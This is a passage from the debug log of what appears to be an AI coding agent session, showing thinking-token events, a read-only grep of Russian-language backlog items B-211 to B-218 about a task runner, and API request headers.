},\n[2026-09-29T07:51:37.753Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:51:37.759Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:51:37.762Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:51:37.765Z] [STDOUT]   },\n[2026-09-29T07:51:37.769Z] [STDOUT]   durationMs: 800,\n[2026-09-29T07:51:37.773Z] [STDOUT] }\n[2026-09-29T07:51:37.819Z] [INFO] {\n[2026-09-29T07:51:37.819Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:37.819Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:37.819Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:51:37.819Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:37.819Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:37.819Z] [INFO]   \"uuid\": \"bd2387e3-e366-4877-af81-10b7f3e5a8ae\"\n[2026-09-29T07:51:37.819Z] [INFO] }\n[2026-09-29T07:51:39.408Z] [INFO] {\n[2026-09-29T07:51:39.408Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:39.408Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:39.408Z] [INFO]   \"estimated_tokens\": 200,\n[2026-09-29T07:51:39.408Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:39.408Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:39.408Z] [INFO]   \"uuid\": \"81047a6a-63e8-44eb-8ae9-5aa2ab048e19\"\n[2026-09-29T07:51:39.408Z] [INFO] }\n[2026-09-29T07:51:40.524Z] [INFO] {\n[2026-09-29T07:51:40.524Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:40.524Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:40.524Z] [INFO]   \"estimated_tokens\": 415,\n[2026-09-29T07:51:40.524Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:40.524Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:40.524Z] [INFO]   \"uuid\": \"1eebeb85-bd43-46ea-a5de-f6eebe7597d6\"\n[2026-09-29T07:51:40.524Z] [INFO] }\n[2026-09-29T07:51:40.538Z] [INFO] {\n[2026-09-29T07:51:40.538Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:40.538Z] [INFO]   \"message\": {\n[2026-09-29T07:51:40.538Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:40.538Z] [INFO]     \"id\": \"msg_011CfXNEAnfDq7MnEwbV5Fv1\",\n[2026-09-29T07:51:40.538Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:40.538Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:40.538Z] [INFO]     \"content\": [\n[2026-09-29T07:51:40.538Z] [INFO]       {\n[2026-09-29T07:51:40.538Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:51:40.538Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:51:40.538Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:51:40.538Z] [INFO]     ],\n[2026-09-29T07:51:40.538Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:40.538Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:40.538Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:40.538Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:40.538Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:40.538Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:40.538Z] [INFO]       \"cache_creation_input_tokens\": 1030,\n[2026-09-29T07:51:40.538Z] [INFO]       \"cache_read_input_tokens\": 102553,\n[2026-09-29T07:51:40.538Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:40.538Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:40.538Z] [INFO]         \"ephemeral_1h_input_tokens\": 1030\n[2026-09-29T07:51:40.538Z] [INFO]       },\n[2026-09-29T07:51:40.538Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:40.538Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:40.538Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:40.538Z] [INFO]     },\n[2026-09-29T07:51:40.538Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:40.538Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:40.538Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:40.538Z] [INFO]   },\n[2026-09-29T07:51:40.538Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:40.538Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:40.538Z] [INFO]   \"uuid\": \"f2676653-22af-4898-8015-418afa5f609b\",\n[2026-09-29T07:51:40.538Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:40.522Z\",\n[2026-09-29T07:51:40.538Z] [INFO]   \"request_id\": \"req_011CfXNEACCPuEUZuhKoXKHw\"\n[2026-09-29T07:51:40.538Z] [INFO] }\n[2026-09-29T07:51:41.323Z] [INFO] {\n[2026-09-29T07:51:41.323Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:41.323Z] [INFO]   \"message\": {\n[2026-09-29T07:51:41.323Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:41.323Z] [INFO]     \"id\": \"msg_011CfXNEAnfDq7MnEwbV5Fv1\",\n[2026-09-29T07:51:41.323Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:41.323Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:41.323Z] [INFO]     \"content\": [\n[2026-09-29T07:51:41.323Z] [INFO]       {\n[2026-09-29T07:51:41.323Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:51:41.323Z] [INFO]         \"id\": \"toolu_01KscmdYgUgrfxj1qY7ARBbk\",\n[2026-09-29T07:51:41.323Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:51:41.323Z] [INFO]         \"input\": {\n[2026-09-29T07:51:41.323Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; grep -n \\\"B-21[1-8]\\\" ops/backlog.md | cut -c1-330 | head -10\",\n[2026-09-29T07:51:41.323Z] [INFO]           \"description\": \"Read backlog items B-211 to B-218\"\n[2026-09-29T07:51:41.323Z] [INFO]         },\n[2026-09-29T07:51:41.323Z] [INFO]         \"caller\": {\n[2026-09-29T07:51:41.323Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:51:41.323Z] [INFO]         }\n[2026-09-29T07:51:41.323Z] [INFO]       }\n[2026-09-29T07:51:41.323Z] [INFO]     ],\n[2026-09-29T07:51:41.323Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:41.323Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:41.323Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:41.323Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:41.323Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:41.323Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:41.323Z] [INFO]       \"cache_creation_input_tokens\": 1030,\n[2026-09-29T07:51:41.323Z] [INFO]       \"cache_read_input_tokens\": 102553,\n[2026-09-29T07:51:41.323Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:41.323Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:41.323Z] [INFO]         \"ephemeral_1h_input_tokens\": 1030\n[2026-09-29T07:51:41.323Z] [INFO]       },\n[2026-09-29T07:51:41.323Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:41.323Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:41.323Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:41.323Z] [INFO]     },\n[2026-09-29T07:51:41.323Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:41.323Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:41.323Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:41.323Z] [INFO]   },\n[2026-09-29T07:51:41.323Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:41.323Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:41.323Z] [INFO]   \"uuid\": \"2f102c85-a798-4e3d-bcfd-95930162363e\",\n[2026-09-29T07:51:41.323Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:41.318Z\",\n[2026-09-29T07:51:41.323Z] [INFO]   \"request_id\": \"req_011CfXNEACCPuEUZuhKoXKHw\",\n[2026-09-29T07:51:41.323Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:51:41.323Z] [INFO]     \"toolu_01KscmdYgUgrfxj1qY7ARBbk\": {\n[2026-09-29T07:51:41.323Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; grep -n \\\"B-21[1-8]\\\" ops/backlog.md | cut -c1-330 | head -10\",\n[2026-09-29T07:51:41.323Z] [INFO]       \"description\": \"Read backlog items B-211 to B-218\"\n[2026-09-29T07:51:41.323Z] [INFO]     }\n[2026-09-29T07:51:41.323Z] [INFO]   }\n[2026-09-29T07:51:41.323Z] [INFO] }\n[2026-09-29T07:51:42.591Z] [INFO] {\n[2026-09-29T07:51:42.591Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:51:42.591Z] [INFO]   \"message\": {\n[2026-09-29T07:51:42.591Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:51:42.591Z] [INFO]     \"content\": [\n[2026-09-29T07:51:42.591Z] [INFO]       {\n[2026-09-29T07:51:42.591Z] [INFO]         \"tool_use_id\": \"toolu_01KscmdYgUgrfxj1qY7ARBbk\",\n[2026-09-29T07:51:42.591Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:51:42.591Z] [INFO]         \"content\": \"692:| **B-211** | Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0440\u0451\u0431\u0435\u0440 \u0438\u0437 YAML \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-28](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/ma\\n693:| **B-212** | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438 \u0447\u0435\u0441\u0442\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-29, \u0413-30](https://git\\n694:| **B-213** | \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u0432\u043e\u0434\u0430 \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-31, \u0413-32, \u0413-34](http\\n695:| **B-214** | \u0420\u0435\u0448\u0438\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 `EP-R7` | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-33](https://github.com/G-Ivan-A/hybrid-Intelligence-l\\n696:| **B-215** | \u041d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-26, \u0413-27](https://github.com/G-Ivan-A/hybrid-Intelligence-lab\\n697:| **B-216** | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0434\u043b\u044f \u043f\u0430\u043a\u0435\u0442\u043e\u0432 GigaCode \u0438 Cline; \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `next` | null | B-211, B-212, B-213 | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-40](https://github.com/G-Ivan-A/hybrid-I\\n698:| **B-217** | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c GigaCode CLI: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-42](https://github.com/G-Ivan-A/hybrid-Intelligence\\n699:| **B-218** | RFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b 4: \u0441\u043b\u0443\u0436\u0431\u0430 runner, \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0411\u0410, \u043c\u0435\u0441\u0442\u043e n8n | null | B-216 | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-43\u2026\u0413-54](https://github.com/G-Ivan-A/hybr\",\n[2026-09-29T07:51:42.591Z] [INFO]         \"is_error\": false\n[2026-09-29T07:51:42.591Z] [INFO]       }\n[2026-09-29T07:51:42.591Z] [INFO]     ]\n[2026-09-29T07:51:42.591Z] [INFO]   },\n[2026-09-29T07:51:42.591Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:42.591Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:42.591Z] [INFO]   \"uuid\": \"26e06d71-f6b1-4366-ba24-325835f5f331\",\n[2026-09-29T07:51:42.591Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:42.581Z\",\n[2026-09-29T07:51:42.591Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:51:42.591Z] [INFO]     \"stdout\": \"692:| **B-211** | Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0440\u0451\u0431\u0435\u0440 \u0438\u0437 YAML \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-28](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/ma\\n693:| **B-212** | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438 \u0447\u0435\u0441\u0442\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-29, \u0413-30](https://git\\n694:| **B-213** | \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u0432\u043e\u0434\u0430 \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-31, \u0413-32, \u0413-34](http\\n695:| **B-214** | \u0420\u0435\u0448\u0438\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 `EP-R7` | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-33](https://github.com/G-Ivan-A/hybrid-Intelligence-l\\n696:| **B-215** | \u041d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-26, \u0413-27](https://github.com/G-Ivan-A/hybrid-Intelligence-lab\\n697:| **B-216** | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0434\u043b\u044f \u043f\u0430\u043a\u0435\u0442\u043e\u0432 GigaCode \u0438 Cline; \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `next` | null | B-211, B-212, B-213 | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-40](https://github.com/G-Ivan-A/hybrid-I\\n698:| **B-217** | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c GigaCode CLI: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-42](https://github.com/G-Ivan-A/hybrid-Intelligence\\n699:| **B-218** | RFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b 4: \u0441\u043b\u0443\u0436\u0431\u0430 runner, \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0411\u0410, \u043c\u0435\u0441\u0442\u043e n8n | null | B-216 | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-43\u2026\u0413-54](https://github.com/G-Ivan-A/hybr\",\n[2026-09-29T07:51:42.591Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:51:42.591Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:51:42.591Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:51:42.591Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:51:42.591Z] [INFO]   }\n[2026-09-29T07:51:42.591Z] [INFO] }\n[2026-09-29T07:51:42.625Z] [STDOUT] [log_d9936f] sending request {\n[2026-09-29T07:51:42.630Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:51:42.639Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:42.648Z] [STDOUT]   options: {\n[2026-09-29T07:51:42.654Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:51:42.661Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:51:42.666Z] [STDOUT]     body: {\n[2026-09-29T07:51:42.670Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:51:42.675Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:51:42.695Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:51:42.707Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:51:42.713Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:51:42.717Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:51:42.720Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:51:42.746Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:51:42.749Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:51:42.753Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:51:42.760Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:51:42.765Z] [STDOUT]       stream: true,\n[2026-09-29T07:51:42.771Z] [STDOUT]     },\n[2026-09-29T07:51:42.773Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:51:42.779Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:51:42.782Z] [STDOUT]       aborted: false,\n[2026-09-29T07:51:42.786Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:51:42.790Z] [STDOUT]       onabort: null,\n[2026-09-29T07:51:42.792Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:51:42.794Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:51:42.796Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:51:42.798Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:51:42.801Z] [STDOUT]     },\n[2026-09-29T07:51:42.803Z] [STDOUT]     stream: true,\n[2026-09-29T07:51:42.806Z] [STDOUT]   },\n[2026-09-29T07:51:42.809Z] [STDOUT]   headers: {\n[2026-09-29T07:51:42.812Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:51:42.816Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:51:42.821Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:51:42.825Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:51:42.831Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:51:42.835Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:51:42.837Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:51:42.840Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:51:42.844Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:51:42.849Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1247\",\n[2026-09-29T07:51:42.852Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:51:42.857Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:51:42.861Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:42.864Z] [STDOUT]     \"x-client-request-id\": \"2c03e9d8-f319-48dc-9b1b-c14191f49c4e\",\n[2026-09-29T07:51:42.870Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:51:42.876Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:51:42.879Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:51:42.883Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:51:42.885Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:51:42.888Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:51:42.892Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:51:42.897Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:51:42.902Z] [STDOUT]   },\n[2026-09-29T07:51:42.905Z] [STDOUT] }\n[2026-09-29T07:51:43.496Z] [STDOUT] [log_d9936f, request-id: \"req_011CfXNEcK5N9Q95TTDuCcL4\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 875ms\n[2026-09-29T07:51:43.499Z] [STDOUT] [log_d9936f] response start {\n[2026-09-29T07:51:43.503Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:43.508Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:43.513Z] [STDOUT]   headers: {\n[2026-09-29T07:51:43.515Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:43.518Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:43.521Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:43.525Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:43.529Z] [STDOUT]     